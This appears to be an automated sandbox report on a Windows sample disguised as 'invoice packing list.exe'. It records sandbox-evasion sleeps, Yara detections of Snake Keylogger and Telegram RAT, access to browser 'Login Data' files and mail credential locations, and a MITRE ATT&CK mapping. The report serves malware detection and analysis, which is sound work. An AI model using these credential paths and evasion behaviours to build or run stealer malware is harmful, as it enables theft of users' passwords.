File source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR

Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 2620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 2860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 2620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 7780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 8780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 8930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 9930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 9C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: AC90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: BC90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 2FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Memory allocated: 2EF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598441	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598323	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598182	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598074	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Window / User API: threadDelayed 8216			Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Window / User API: threadDelayed 1606			Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe TID: 4012	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6160	Thread sleep count: 8216 > 30	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6160	Thread sleep count: 1606 > 30	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598441s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598323s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598182s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -598074s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe TID: 6352	Thread sleep time: -593860s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598441	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598323	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598182	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 598074	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: invoice packing list.exe, 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd50c266b4e61c<
Source: invoice packing list.exe, 00000005.00000002.4489346212.0000000001165000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\invoice packing list.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Users\user\Desktop\invoice packing list.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Users\user\Desktop\invoice packing list.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4490656225.0000000003199000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4490656225.0000000003228000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4490656225.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\invoice packing list.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\invoice packing list.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4490656225.0000000003199000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4490656225.0000000003228000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4490656225.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 Security Software Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	11 Archive Collected Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Data from Local System	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
